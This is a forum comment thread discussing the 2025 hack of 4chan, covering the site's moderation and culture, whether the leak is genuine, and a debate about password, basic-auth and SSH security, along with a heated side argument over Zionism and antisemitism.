The staff has cut down a lot on organized harassment that 4chan was notorious for in recent years. Those people migrated to private discords, telegrams, and other forums (like kiwi farms, soy party, etc). Ex, #gamergate was mostly an 8chan, Twitter, reddit, and IRC phenomenon - #gg people would get banned if they tried posting about it on 4chan
Live by the sword, die by the sword I would say. You don't get to enjoy raising leopards and also get to be surprised when you become lunch one day
They certainly don’t get to claim any kind of moral high ground, but as a bystander I can feel empathy for someone hit by a drunk driver, even if the victim had driven drunk before in the past.
Any increase in human suffering is unfortunate, regardless of one’s take on just desserts or karma or whatever.
I’d say it’s more like a high-profile NRA member getting shot. Unfortunate but it’s hard to miss the irony.
Damn, the culture they have bred and actively maintained is now going to be turned against them?
It might end up making them more sympathetic people on the long term. They might realise the seriousness of what they have done to others.
"The culture" of 4chan varies from board to board and even thread to thread.
the serious crime of... deleting egregious posts from a website
You don't like to lump people into groups by race/country of origin but find no cognitive dissonance in lumping people together by platform choice.
Yes.
People can leave the platform. They can't leave their race.
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One of those is something people are born into without choice. The other is chosen because of their tastes.
"Wow, you'd group people by their actions and beliefs but not by immutable characteristics they were born with?!" /s
While a precise estimate is difficult to gauge it is supposed by professional analysts that a majority of hacks are state sponsored.
If the hacker is a state actor then I don't think anyone has learned anything about Free Speech.
Do you think that 4chan is going to disappear forever for this? Just wait a bit and it will be back.
Also where did you see that they are leaking home addresses and work contact info? I think they just leaked the emails (I don't understand why home addresses and work contact info should be present in the 4chan database, everyone moderating the site for free).
I'm not up to speed - but isn't that a free-speech absolutist site?
Mostly, but the few restrictions they do have led to even absolutist-er spinoffs like 8chan being founded.
depends on the board you're browsing, if you're discussing gardening you won't have issues with the far-right
4chan has global rules and board-specific rules.
Racism, hate speech in general, as well as anything illegal, will quickly result in deletion and IP ban.
The site will also, as it's obvious, cooperate with authorities, when it comes to crimes.
4chan is far from being a free-speech absolutist site.
Every website that allows content uploaded by users have moderators, you can be absolutist as you want but you can't allow CP for example, you also need to handle DMCA (unless you live in a country that couldn't care less).
No, it's mostly a cancer survivors support group. Every third post was about cancer, what is causing it, and frank expressions of helplessness in the face of it.
About half the posts were pornography, racist rants, or memes making fun of someone, often for being mentally handicapped.
Five percent was accusing the moderators of sleeping on the job.
Edit: I love that people are down-voting this, it really shows how much people like to have an opinion even while they can't recognize even the most obvious things that requires any information about the subject.
There are no true free speech absolutist sites on the open internet. To run a site under free speech absolutist principles would require allowing and refusing to moderate illegal content.
People like to confuse "free speech absolutism" for "tolerating right-wing speech" because the free speech absolutist narrative has been pushed by right-wing accelerationists, but every site has its limits, even 4chan.
And you don't even need to go that far. Off-topic posts could result in a swift 3-day ban. There were even words and phrases that could get you autobanned the second you hit submit.
It's not so much that we lament the old internet, we lament that the new internet cannot be built because incumbents like google have distorted the playing field with shitty algorithmic SEO practices-- which really has nothing to do with 4chan at all.
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I have leftist friends who grew up looking at memes on 4chan. As adults they remember it fondly.
As bad as Trump is, most of the opposition to him is just tribalism. To paraphrase Kurt Vonnegut, about 10% of people are always cruel, 10% are always kind, and 80% are in play. From your comment I think you would fit right in on 4chan since you seem to advocate anonymously destroying people that you don't know, without any process, if you vaguely (without really knowing anything about it or bothering to check) think they have crossed you in some way.
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Hate makes odd bedfellows at times.
https://en.wikipedia.org/wiki/Association_of_German_National...
No historian but wouldn't it be fair to call Hitler a zionist?
Do you think they voted for Kamala? One more contradiction won't make a difference to nazis...
Also Hitler was a Zionist too [1]. Israel's goal of housing every Jews on Earth somehow aligns with antisemites of the world wanting to get rid of them.
[1] https://en.wikipedia.org/wiki/Haavara_Agreement?wprov=sfla1
I think humanity is really amazing. If someone is anti-Nazi, and also anti-Israel, they manage to find a way to believe that Jews are Nazis. There's no level of cognitive dissonance that could slow you down, is there?
The Nazis were NOT in favor of a Jewish state. They wanted to be able to say they tried this, they tried that, so it's not their fault they had to do a holocaust. They wanted justification. You don't actually advocate in favor of a group while simultaneously building camps to murder them. Although, I suspect you probably have some 'opinions' regarding the details of the holocaust.
You're staring right into the inner workings of the Ministry of Truth. War is peace, peace is war, etc. The Hacker News you once knew is dead.
Nice try, but no cognitive dissonance here. My previous comment proved Nazis can also be Zionists, and you would know it if you deigned open the link I joined to it.
I never claimed that Jews are Nazis, in fact, America's Zionists are mostly Christian nationalists, seeking to get rid of Jews on their national territory. And like the German Nazis before them, they find common ground with the Zionist project of moving all Jews to an ad-hoc state in the Middle East.
Unlike them, I do not believe in the "Jewish Question" (prime topic on 4chan btw) and I am perfectly fine with Jews living in my country, sharing my bread, etc.
My condemnation of Isreal only concerns itself with the way Palestinians have been treated since the creation of the state: systematically depossesed of their lands and sometimes outright eliminated. Note that "Jews" (as if they were a singular entity) aren't at the origin of the project. That is to be found in the League of Nations [1].
Please refrain from conflating anti-zionism with anti-semitism in the future, and of labelling everyone you disagree with as suffering from "cognitive dissonance".
[1] https://israelforever.org/state/Mandate_for_Palestine_Jewish...
When someone robs a bank, and puts a gun in the face of the teller, they are both in agreement. Both of them want to get the money out of the drawer and into the bag as quickly as possible. The bank robber is not aligned with the teller, they aren't allies on this topic, they're not on the same side, the fact that the teller wants to do the same thing the bank robber wants is because of the threat of murder. The teller never considered that it would be a good idea to put all the money in a sack until the gun was put in his face.
The idea that you can separate Zionism from a thousand years of pogroms and genocide is ridiculous and stupid, and the idea that Nazis are somehow 'on the side of' any Jews, in any scenario, is ridiculous and stupid. Maybe, just maybe, if you didn't murder and isolate and oppress Jews for a thousand years they wouldn't have felt the need to find a place away from you. Maybe if you don't put a gun in their face bank tellers won't start wanting to put all the money in a pillow case.
> America's Zionists are mostly Christian nationalists
I assume you are Polish or something? Hungarian? Ukrainian? The combination of comfortable, casual antisemitism, belief in silly antisemitic conspiracy theories, and lack of knowledge about the US makes me think so. Most US Zionists are Jews, because we didn't cook all the Jews who live here in big ovens. Secondarily a lot of Evangelical Christians are pro Israel due to a combination of cultural and weird religious reasons (they think Israel has to be a Jewish state so they will rebuild Solomon's Temple so that Jesus has a place to land when he comes back). There is very little (so little you would struggle to find it) antisemetic Christian Nationalist sentiment in the US compared to pro-jewish Evangelical Christian sentiment. Evangelical Christians don't want Jews to leave the country or move to Israel, the concept that this is even a valid opinion would be completely foreign.
> Unlike them, I do not believe in the "Jewish Question" (prime topic on 4chan btw) and I am perfectly fine with Jews living in my country, sharing my bread, etc.
It's their country too, right? That's what you meant? Your careful veneer is slipping a little here.
Why twist every word out of my mouth? Why be so disingenuous?
> the idea that Nazis are somehow 'on the side of' any Jews, in any scenario, is ridiculous and stupid.
Then what do you make of this: https://en.wikipedia.org/wiki/Haavara_Agreement?wprov=sfla1 ?
I never pretended that Nazi Germany was an ally of Israel or Jews or whatever. Simply that at some point in history, Nazis and Zionists shared a single interest. Do you debate this too?
> if you didn't murder and isolate and oppress Jews for a thousand years they wouldn't have felt the need to find a place away from you.
Wtf is wrong with you? Why use "you" as if I was the one committing those atrocities?
Do you not believe Jews can live in Europe? That colonizing Gaza is made justified by past genocide, necessary even? Perhaps you believe in the "Jewish Question" and think Jews can't cohexist around other populations? I do not.
> I assume you are Polish or something? Hungarian? Ukrainian?
No. Stop assuming.
> It's their country too, right? That's what you meant?
Of course it's what I meant you slimey dishonest idiot. I do not care about the religion/ethnicity/gender of my fellow citizens. What do you not understand in "I don't believe in the Jewish Question"?
Let me reiterate my position once and for all, so you can stop baselessly attacking me. Israel is currently committing atrocities in Gaza, and for that reason alone I am condemning it.
I do not believe in the "Jewish Question", this means I don't think having Jewish citizens in my country is an issue. Same thing as for any other "group".
Therefore, I don't believe the Zionist project was necessary in the first place. That said, I am obviously not advocating for the disbanding of Israel and a "return". That would cause tremendous harm for no good reason. What I want is for the colonization of Gaza to stop, is that too much to ask without being labelled a rabid anti-semite?
You can dress it up however you want, but your pathological need to insist that Nazis were pro-zionism is not historically accurate and it is frankly insulting. From the link you posted: "In the post-war period, the agreement has sometimes been cited by anti-Zionists, anti-Semites, and critics of Israel (Ken Livingstone, Lyndon LaRouche, Louis Farrakhan, Mark Weber,[28] Joseph Massad,[29] Mahmoud Abbas[30]) as evidence of Nazi support for Zionism[31] or Zionist collaboration with the Nazis.[32]"
From the footnotes of the link you posted: https://www.the-independent.com/news/world/world-history/ado...
What you keep saying is just basic antisemetic rhetoric. I wonder where you were exposed to it?
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My official association with 4chan ended in 2010, but I still recognise a good third of those names and would wager the leak is legit.
Username checks out.
What kind of official association could one have with 4chan? 4chan was formative for my early connection to the internet, and I'm really curious what the organization behind it looked like. Was it professionally driven, or just some random guy mailing checks? stuff like that.
I lied about my age and was given janitor access in the mid 2000s. There was a special /j/ board to coordinate on, but it broke relatively early, and you mostly had to hang out in the #janiteam channel on Rizon. I think almost everybody else was underage as well. There was a minimal web overlay that let you delete/escalate posts. You couldn't see people's IPs, but you could see how many outstanding ban requests they had. These numbers helped me deduce that many boards' most infamous personalities were all the same guy.
We were all offered the chance to become mods in 2010, but moot wanted to see our faces on a Skype call. I thought that was a step too far and just gradually stopped caring after that. Seems like I made the right choice.
On the whole it was barely held together technically and organisationally, mostly run by moot's personal friends, and fun all around. Things were far less serious then.
And the checks arrived on time every month: $0.00
>And the checks arrived on time every month: $0.00
Unexpectedly poignant.
Sounds about like what I would have expected as a (also underage) user at the time. The suspicion was always that most of the memorable joke chains were probably just one guy self-replying (I always suspected that was the case for the hunter2 meme specifically). It didn't really matter, it was funny anyway.
Thanks for taking the time to reply, and thanks for the fun back then :)
> These numbers helped me deduce that many boards' most infamous personalities were all the same guy.
Simultaneously one of the best and worst parts about the website was how much a single person could create influence. Some guy spamposting "30-year old boomer" memes eventually turned boomer and zoomer into mainstream terminology.
I remember a long time ago, a general that I would frequent attracted the attention of a lunatic who would frequently try to ruin threads by spam posting corrupted unloadable images until the bumpcap was reached. It made a successful thread with no incidents feel like a moment of success.
Milhouse is still not a meme.
For those OOTL about that last part, a common meme/troll of the moderators/jannies is
“They do it for free”
People would post rule breaking content and say “clean it up janny”
Well... A full dump of the board exclusive to moderators and janitors was leaked too so now you could take a look yourself.
So you were able to find the leak? Because I see reports that it was hacked repeated as fact everywhere on Daily Mail-tier reliable news websites and Reddit posts, but they are all based on “rumors on social media go about that there was a leak” but I've not been able to find the actual leak searching for it. Obviously not many people want to link it but it's also weird that so many people claim to have so easily been able to find it when I cannot.
Finally, I was there and using it when the website went down and this did not resemble an actual hack but technical issues. First there were a couple of hours where the website was up but no posts went through for anyone except occasionally when a new threat was bumped, mirroring the normal pattern of downtime issues that sometimes occur and then it just went down completely. This doesn't really resemble how a hack plays out but looks more like technical issues to me.
Even now, going to the front page, it loads for me, except very slowly and incompletely. This does not resemble a hack but technical issues.
I would've taken you less time to find the 'sinister' content yourself than leave this sprawling reply
To your point:
It's more likely than not real, it contains configs for the entire site.
Well, so you say, but every single news website that I can find willing to say something on the matter is either The Daily Mail and similar things that also say they based their information on leaks on “social media rumors” or more reputable websites that also say it's a rumor that there's a leak. One would assume if it be so easily found and I'm so incompetent that these news websites could've found it themselves and come with more certain claims.
If you're looking for a link to the results of illegal hacking, then I humbly suggest that aboveboard news sites are not the place to look.
I'm saying I searched and I couldn't find it but what I did find was many news websites that reported it but said they couldn't confirm these rumors themselves and said they were just that, rumors. I found threads about it on other anonymous textboards where people would have no compunction to post the links and yet they didn't. The news sites don't just say “We obviously won't post the links.” but “We couldn't confirm these rumors.”.
Edit: I finally found one news website willing to actually confirm it though. The Daily Dot claims to have accessed the leaked information and verified it for itself.
Click the HN headline, click the 1st external reference, click the 1st thread. The first post is the leaker speaking. Beware that website, the thread, and 4chan itself, are all, at best, in a legal grey area.
I left a clue in my original reply.
I'm not spoonfeeding any harder than that.
Lurk moar or GTFO
That's a bit sinisterly of you.
There's a KnowYourMeme [0] post with additional details and context. Most interesting to me is finding out that there' s a word filer / transformer, so SMH becomes BAKA and TBH becomes DESU, as two examples.
[0] https://knowyourmeme.com/memes/events/april-2025-4chan-hack
Yep, it’s been that way for 20+ years!
The term “weeaboo” as a term for western anime fans only came about because it was what the word “wapanese” filtered to. It was originally a nonsense work made up in a Perry Bible Fellowship comic.
That does seem to have more information, so I've changed the top url to that from https://old.reddit.com/r/4chan/comments/1jzkjlg/4chan_hacked.... Thanks!
Rip 4chan. For all the bad it did, 4chan also made at least one real contribution to science [1], specifically to the study of superpermutations (aka the Haruhi problem), which was cited by genuine academics. We should try to remember it by that.
[1] https://www.theverge.com/2018/10/24/18019464/4chan-anon-anim...
I think this is more of a temporary concussion, it'll be back up by the weekend.
Oh wow, that's genuinely cool.
4chan is a reflection of the depraved, extreme side of humanity. Twitter has taken on the mantle of 'asshole of the internet', but I think the rotten apples post in both.
4chan is oddly accepting of gay and trans people. I've seen gay and trans porn side by side with bbc and bwc porn posts. Strange to see racist trans porn lovers.
I like 4chan for the minor boards, not /pol/ or /b/. But /boardgames/ and /dyi/ and /international/. The absurd humor, green texts that make absolutely no sense, or ones that lead down a strange and wonderful path.
I like being anonymous on the internet.
Neither site is a den of repute but it's notable that I can still say the word "cisgender" on 4chan, or openly insult moot and call him whatever I want without being banned for it (while mainstream sites select who is protected from harassment and who isn't, either along political lines or who owns the site).
moot hasn't been relevant for years.
Hiroshimoot, then.
> 4chan is oddly accepting of gay and trans people. I've seen gay and trans porn side by side with bbc and bwc porn posts. Strange to see racist trans porn lovers.
It only seems odd because many people interpret this through a U.S.A. “culture war” lens and “gay people”. You believe they're “accepting of gay people” in the sense of that culture war because of the “gay porn”. In reality, they take more of a classical Graeco-Roman approach to it and believe it's completely normal for the average male to be attracted to cute twinks as the Romans did and often even reject the very notion of “sexual orientations” to begin with. Their “support” is definitely not in the sense of what one would expect of the U.S.A. “culture war”, jokes such as the below illustrate well what the culture is:
https://i.pinimg.com/736x/55/fe/d1/55fed16b625f9c5869587908f...
I should have used a better example to support my point.
I was referring to the website it self allowing gay and trans content, and even other non mainstream content (furry, MLP). The content is not just porn related (though a big chunk of it is).
On the porn front, I don't agree with liking 'lady dick' twink lovers only. There's 'normal' gay content (male on male).
On the non porn content, lots of posts will begin with 'Im a gayfag' (fag here I used as a catch all self deprecating term, some users will say I'm a oldfag, even seen ladyfag). Never seen any outright harassment of gay people when they post.
Having said that, there is straight gay, trans, minority hating posts and content.
4chan is a wild jungle. Or was.
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Hosting a copy of phpMyAdmin behind basic HTTP authentication in 2025 really is asking for it.
The hacker posted a screenshot of the shell on the 4chan server. It was running FreeBSD 10.1, which came out in 2014 and stopped getting patches in 2016. It seems like there was basically nobody doing maintenance after moot sold the site. I wonder how long it'll take for them to get the site back up if they don't have anyone who can do server administration.
Can you please elaborate how it is "asking for it" if we assume the basic auth password is reasonably complex and kept as safe as, say, the SSH login credentials of the same server?
You shouldn't be logging in to a server via SSH using a user+password combo, instead use a public/private key combo which is considerably more complex and can't effectively be bruteforced like a user+password.
Most web servers don't really come with any built in defense against brute force attempts vs Basic Auth gates, so unless you've set something up to protect it, someone with enough time will eventually get in.
> "can't effectively be bruteforced like a user+password."
Only when the password is weak enough to bruteforce swiftly. It will take literally thousands of years to bruteforce strong passwords.
But you only need one weak password to get in
But you only need one password to protect your HTTP auth phpMyAdmin so just make it 30 characters.
Genuine question that I haven't found a good solution to yet, if I want to just go to any old computer and ssh into my server, do I have to carry around a USB stick with the ssh key on or something? because I sure as hell wont be able to just remember it
There's no secure way to do that. You have no guarantee that the computer won't copy your key or keylog your password.
You can mitigate it by using an MFA method that requires confirming on a separate device like a phone, but that's down to one layer of defense.
I use an SSH app on my phone for remote access, and I go over a VPN. SSH is not exposed to the public internet.
The preferred solution would be something like a Yubikey. However:
> just go to any old computer and ssh into my server
You've typed your password into a computer you don't control. Now it's gone. Same for plugging in the USB stick. The Yubikey approach mitigates that.
Assuming you want to do this, the best practice you can achieve is just making the password long.
In that case I'd normally recommend a bastion host with SSH MFA and fail2ban. It'd be publicly available and have SSH keys for other machines. Or you could look at setting up a VPN solution with MFA, but never have a password only admin login exposed to the public Internet.
> someone with enough time will eventually get in
That's only correct if the password is weak. With enough entropy, it's practically impossible to brute force.
I haven’t used it for many years now, but phpMyAdmin was long a source of compromises. Lots of security holes.
That's my point - if you have a reasonably secure password (let's say 50-100 characters, fully random), it's extremely unlikely that anyone is ever going to even get beyond the basic auth prompt.
Until there's a bug that lets you bypass it.
Then you should also be worried about bugs that let you log into an SSH session without providing your SSH certificate, passkey or whatever. Authentication bypass can happen with pretty much any buggy authentication method. None of this is inherently a problem of passwords or basic auth.
Sure, but phpMyAdmin has a long history of major security holes. It's existence on a server tends to be a red flag.
Again, the premise was that phpMyAdmin is secured behind basic auth. It doesn't matter how secure or insecure phpMyAdmin is, it only matters how secure whatever webserver is that it is served through. phpMyAdmin code isn't even touched before the basic auth login was successful. Only after that, it becomes relevant, in that you either find a hole in phpMyAdmin itself, or you have to break another (hopefully strong) password for the MySQL login itself.
It's not using the webserver's basic auth, it's using their own implementation (https://github.com/phpmyadmin/phpmyadmin/blob/297c1e174b93a9..., via PHP's: https://www.php.net/manual/en/features.http-auth.php).
You can easily put phpMyAdmin behind basic auth as an additional security layer, completely bypassing any PHP execution and letting the web server completely handle the authentication. It's exactly what I have done multiple times in the past. Arguably phpMyAdmin's direct integration is a less secure way of doing it, but do we even know if it's the basic auth itself that was bypassed, or was it just the case of a weak password?
Sure, and I can put the VX gas vials in a safe in my basement, but I'd rather not have them anywhere near me at all.
A password is just plain text, which apart from being bruteforced, can easily be phished. There are so many things wrong with using a password even if it's fairly complex. Instead, stick to passkeys and SSH keys
I was kinda surprised to see that phpMyAdmin is still maintained, albeit only barely. The last release was in January but before that it hadn't been touched for over two years.
This stuff is still packaged with cPanel, which is probably the most common way to manage web servers on the internet.
I wonder how long it's been since that was true. I think that era passed when most small businesses and individuals moved from self hosting to SaaS.
Nearly every website developer servicing small business builds a WordPress site and sets it up on a hosting company's cPanel install with phpmyadmin running by default.
Which are far far outnumbered by people setting up squarespace sites, or shopify sites or facebook pages or twitter profiles these days.
It was definitely true at one point that small scale indie web devs and small business contractors outnumbered big tech in both headcount and servers. I don't think that's been true for a while now.
Do you have figures for that?
I guess those installs are the ones the Wordpress vuln scanners are looking for when they spam my server with /wp-admin/ requests.
I serve a cPanel hosting, some people just want something up and running now which cPanel provides.
With Softaculous for automatic installation of scripts it's still widely popular for Wordpress installations. Web hosting is however a very dead market to startup in.
Sure, if you slap Basic Auth with "admin:admin" on phpMyAdmin in 2025, you're asking for it. But a Basic Auth password with 256 bits of entropy is just as resistant to brute force as AES-256 (assuming the implementation is sound and TLS is used). It's not the protocol that's insecure, it's usually how it's deployed.
Only if it's only accessible via proper TLS (otherwise it's easy to read the user/pass with MITM as basic auth doesn't encrypt the user/pass).
If there is no throttling/rate-limiting/banning then this setup allows for a lot of attempts, wether brute-force or dictionary.
As long as "a lot of attempts" take longer than the time it'll take the sun to expand and envelop the earth, that's not really a problem.
Every form of authentication is either subject to "a lot of attempts" or trivial DoS (for when you rate limit the login API so now admins can't log in either). The principles behind modern authentication are mostly "how do we make verification require even more attempts if the attacker doesn't know the password".
What is "a lot of attempts"? I'm no expert in cryptography, but there's many orders of magnitude difference between a distributed bruteforce of a known hash, and bruteforcing over the web.
A tale as old as time
Has Fireship made a video about this yet? I bet we'll see one tomorrow.
Wow, the comments on this thread are much more divisive than I thought.
I've always felt that the 'there are only two internet cultures: 4chan and tumblr' has felt somewhat accurate. Unfortunately moreso now that /pol/ and /r9k/ have taken over broad swathes of the internet.
It's sad to see how far this old haunt has fallen. Lurking /v/ in my early/mid teens was a formative experience for me. It wasn't as hateful as it was, until Gamergate.
/r9k/ is such a weird situation, because its original incarnation prided itself on being an intellectual bastion on the site. The robot meant that you couldn't meme so easily; you had to attempt to write something substantial or meaningful (or at least original). Most were simply discussions, but you'd also get creative gems like futureguy's sobering predictions (well, history, for him).
tfwnogf really did kill everything.
> I've always felt that the 'there are only two internet cultures: 4chan and tumblr' has felt somewhat accurate.
"Somewhat accurate" is exactly right.
This formulation overstates the number of Internet cultures by one, in that the deepest and most shameful secret of both websites' most avid users is that they have always been both websites' most avid users.
Other than that, there's nothing wrong with it.
Not the first time this has happened, and probably not the last. I hope they bounce back from this like they did before. It's a special place.
For all the sad words of tongue and pen, the saddest are these: “website running 15 year old software gets pwned again”
Wow doxing the Jannies!
I mean, wow, they’re doxing people that helped keep a legacy internet place alive and compliant with the law.
Who would do that?
Sound right up the alley for a 4chan user
Whoever's trying their hardest to shut down the rest of the free internet as well. I do think these actions we've seen in the last 5 years are co-ordinated. Will post sources soon
The man.
Posted link is a tad vulgar and scarce on information. A bit of a collection forming on The Sun's live blog post:
Thousands of 4Chan users report issues accessing controversial website - https://www.thesun.co.uk/tech/34472708/4chan-down-updates-co...
(Posted link was originally https://old.reddit.com/r/4chan/comments/1jzkjlg/4chan_hacked.... We since changed it.)
Why would you use the Sun as a source for anything
Why are we speaking in the past tense here? Is it established that 4chan is going down?
It is down. It was up in the past. Past tense seems to make the most grammatical sense. But I get why it adds ambiguity about it's future.
Any articles about the technical details of the hack?
Surprised that the admins have any personal details associated with their 4chan profile.
You know, I always found Twitter (even pre-X) to be worse than 4chan ever was. Not in obvious terms, but in how it fucked with your head.
I like this quote from a great philosopher of our time: https://knowyourmeme.com/photos/1273406-tyler-the-creators-c...
the anonymity makes it kind of the only site where thats true
This is a pretty good take! It's because you could verbally attack and fight the 4chan idiots with a swarm of common sense and be lauded for doing that job.
Doing the same on X will just get you banned for whatever reason Elon feels is best 'for the community'.
The pompous tone of your comment exemplifies what actually makes most social media platforms awful, which is how people act on them. Inconsistent moderation is everywhere, and most people getting banned from X absolutely deserve it. If you posted something like this on 4chan, people would quickly tell you to get off your high horse (in more vulgar terms). The nice thing about an anonymous message board is that without a name or upvote count attached to your name, you don't get positive reinforcement for putting on a show of moral superiority, and struggle sessions via petty call-outs or pile-ons are not a thing beyond the lifetime of a thread. And on the other side of the same coin, people are not afraid of damaging their reputation by being uncouth, which helps not take anything too seriously, and enables direct feedback instead of passive-aggressive behavior.
HN really corroborates the inverse principle here - giving everyone names and karma doesn't seem to generate consistent, thoughtful contributions. It rewards apologia, groupthink and complacency, oftentimes the only interesting or unique viewpoint in a thread is flagged or karma-bombed to the bottom because it's a green username. The big HN "experiment" feels like it's stalled out, we've been getting the same results for years now. This website garners the reputation it has because everyone with power is out for themselves. There is no desire to accept change that threatens the collective interests of the tech industry, look at how HN reacts to regulations and war crimes and misinformation that technology inherently necessitates. It's thread after thread of hand-wringing, "it's not your fault" and then everyone is off to nerd-snipe each other over the semantic definition of a sorting algorithm.
Let HN, Reddit and X (or whatever it's called now) be a lesson to everyone - privately owned platforms are all just different brands of echo chamber. There is no obligation to change an echo chamber that makes you money or repeats what you want to hear.
I dont understand why twitter is so prevalent in the tech community; and it's not like you can just 'not use it' - you are at a true disadvantage if you aren't on twitter because of how much discourse around new tech, private equity, etc transpires on it.
I'm surprised a literal echo-chamber in which free speech is suppressed for disagreeing with the party line is responsible for so much productivity because of how many techbros are active on it. What happened to the time where being a techbro meant you were an open source libertarian like Stallman?
I don't know. I think you can just not use it. You might miss out on the daily chaff but anything of note will get reposted elsewhere.
>What happened to the time where being a techbro meant you were an open source libertarian like Stallman?
As far as I've ever been able to tell, Stallman's positions are much closer to socialism. Perhaps you're thinking of ESR?
I think that’s just an artifact of twitter’s history. It was “normal” (increasingly algorithm slop driven) website until roughly 1-2 years ago when it was bought out and became maga slop.
Remember twitter came out in like 2007 when only tech people were on the internet.
The feedback mechanism on Twitter allows you to find useful discussions of current affairs in less popular topics. Can you find a good discussion of current events in agribusiness on Reddit? No. On Facebook? No. But if you open up Twitter and search for Arthur Daniels and you'll find something useful.
So, when the manager at a company wants to publicize, he has nowhere else to go.
> I'm surprised a literal echo-chamber in which free speech is suppressed for disagreeing with the party line is responsible for so much productivity because of how many techbros are active on it.
Reddit is worse. Facebook is worse. Bluesky is a community that couldn't stand Twitter changing it's party line, so it's worse. Mastodon is complex and suffers from the same problems as Bluesky.
Like it or not, Musk did choose his acquisition well.
Let me make it clear because I don't want to come across as biased - Reddit, Facebook and platforms like it are 1000% worse and or just as bad, no contest from me on that part; the dialogue just skews a different way depending on the platform.
To the first point though, I guess I just don't understand how such niche and useful discussion ended up on twitter and remains there out of all places. It seems strange to find someone pushing moon-landing-is-fake conspiracies on the same site nuanced discussion occurs on some hyperfocused topic
It's all about the technical features of the platform. Twitter's design is less likely to encourage conformity, so you can find far more insane content in it, but it's also less likely to encourage people to pointlessly discuss popular topics over and over.
Twitter allows for the existence of small ad-hoc communities numbering a dozen people at most, without a designated leader. Facebook groups, subreddits and mastodon instances require that a community has a designated dictatorial leader, be it an admin, a moderator or an instance owner.
The most powerful method of expressing approval - the re-tweet is likely to be used to promote interesting statements. Blind adherence to conformity isn't interesting. Crazy conspiracy theories are interesting, but so is specialized knowledge. All you have to do is ignore the former, (unless conspiracy theories amuse you).
Everything happens on X now.
Even when I’m forced to go back to Reddit, all the niche subs I follow just post back to X links where the actual discussion is happening.
Browsing different forums helps you recognize how discourse is shaped by different feedback loops, how people troll on 4chan or conform on reddit, rather then assuming that twitter is real life.
I received really heartfelt (to me) and sincere life advice on 4chan. I think the fact that it's anonymous without a real karma/voting system means there's a lot less ego-driven, self-centered posting. People don't try to attack as much or have bitter back-and-forths as much as twitter, reddit. They might argue for a bit and then just say f it and move on. But there's no motivation for ragebait, karma farming like there is on twitter.
It's not just that there's no voting system it's that there's no names. It's pointless to argue on a site like Reddit, but it's ridiculous to argue back and forth on a site like 4chan where you can't even know if you're arguing with the same person from post to post.
Likewise an outside observer can't assign any identity to a series of posts in an argument, so you really have to take every post at face value.
It truly is an end of an era. I popped in every so often to check the temperature and was rarely disappointed by the level of crazy pervading it. Amusingly, despite it having such a massive influence on internet as a whole including its lingo and memes, my wife did not even knew about it existed until today.
I do not think it will be missed by many, but that kind of hole does not exactly disappear without a trace.
China could say less restricted American internet is racist, because we tolerate content they do not. Like 4chan tolerates what Reddit does not. Would it be a fallacy to say people who chose to escape Chinese censorship online are racists? Maybe it’s a matter of degree or something?
It was bound to come tumbling down eventually. I've had good times in some of the discussion boards and especially with some of the more chill and creative boards like /qst/. the influence of /pol/ overshadows pretty much every board though, and it's rare to see a thread go by without some racist/sexist/transphobic/homophobic bile being spilled unfortunately.
/pol is trash.
/b used to be good till early-mid 2010s when it became 95% hentai/porn instead of 30%, after sabu squealed and the fbi took over.
Is the source code which leaked everything one would need to host their own copy of the site?
There are tonnes of open source clones on github, source code to run the site is nothing special. You still need users.
Might I add, 4chan's implementation isn't even particularly good one
Nah I disagree. It's the best one. All of the extra shit other boards have just feels like needless bloat. Honestly the JS extension they added like 10 years ago is a bit much.
The site has an API for reading posts [0]. It works (worked?) quite well. For making posts, you'd need to write your own functionality that forwards the CAPTCHA and post timers.
[0]: https://github.com/4chan/4chan-API
No, you'll need servers and enough network capacity to handle the load, an understanding and supportive hosting provider, a law degree or enough money to pay somebody with one to keep you out of court/jail/prison, a network of degenerates to provide traffic and content and/or a copy of the existing 4chan content, a stomach of steel to deal with the content moderation duties, and a moral compass so warped you think hosting degrading and illegal content is "just liberalism and freedom of speech" and not something that needs a second thought by any right-minded person.
But sure, if you have all that and the source code, you're all set. Godspeed!
All content that violates the law of the United States is banned on 4chan. I don't know where you got that idea.
I remember 8chan had literally one rule: don't violate US law.
oh i guess in that case it is legal everywhere then cool cool cool kthxbye
>a copy of the existing 4chan content
4chan's content is ephemeral. Most of it is gone every few days.
That's how it used to be (and the vast majority of early content is indeed lost). Most boards were auto-archived starting in the mid/late 2010s, though, with many archives being searchable. Some even allow ghost posting.
I'll ask I guess.
People still use 4chan?
I recall 4chan at one short point in time being a semi amusing meme posting spot on the web but as always as soon as it was popular it turned into a lot of "edgelord" spam and drama.
And longcat, don’t forget him
Good point.
There was a time that if you weren't on 4chan, you missed everything good. I remember staying awake for 20 hours tracking one thread. If you left it was gone forever and you genuinely missed out. 2004-5 area.
That being said, I haven't been back since 2014? It was always pretty heavily influenced by b and pol, but it got really bad the two years before Trump 1. Alt right bullshit took over completely.
It astounds me that people think 4 Chan is a place for deviants, but Twitter is fine. Twitter is 10,000x worse.
QA won? what the butt
For all of its many flaws and the boatload of trouble that has come of it, I still ultimately believe that 4chan is unfairly maligned.
I can't deny that the majority of the website's culture has been tainted by idpol bickering ever since /pol/ was added to it, but I'm always going to appreciate 4chan for being a place where I can write ostensibly anonymous posts and talk with other likeminded people about anything and everything. When you have a funny, good faith conversation with someone else on a website that gives you no incentive whatsoever to have one, it feels good.
Soyjak.st is unfortunately nothing like that. It is a website about itself, and itself is a parody of post-2014 rightwing 4chan meme slop culture. It is earnestly what most people believe the entirety of 4chan to be.
What a sad day. It's the best page on the net by a wide margin. Hope they'll recover
It better not recover. 4chan should be burned to the ground. And so should Soyjak.Party. It's a blight on humanity.
It was always possible to ID 4chan posters via court orders, wasn't it? I mean, Sheriff Mike Chitwood had 3 (or was it 4) people who posted death threats against him there arrested
Of course. I remember reading transcripts of Cristopher Poole cooperating in court during a trial. He used to straight up tell users he would fully cooperate with authorities if required. Nobody there is in the business of going to jail.
You're anonymous to other users. Unless you're behind seven proxies, connecting your posts to your real identity is as simple as correlating 4chan logs with ISP logs. Usually that requires court orders so it tends to happen in response to real offenses. Insulting each other with slurs isn't enough for a court order so it's fine. Chances are the NSA knows all your posts regardless.
One of the best websites on the internet. Hopefully not gone forever.
gem
no coal to be found here
Interesting to see HN user astrange as the admin.
besides the fact 4chan is a cesspool I think there's a certain sadness that comes with the possible death of another "early-internet" forum.
I feel like 4chan was the last living source of what the young internet was like - raw, unfiltered, and honest. You've got to admit in today's day and age that's genuinely something rare especially in current time of grift culture.
so much history potentially gone, just like BB.com's forums...
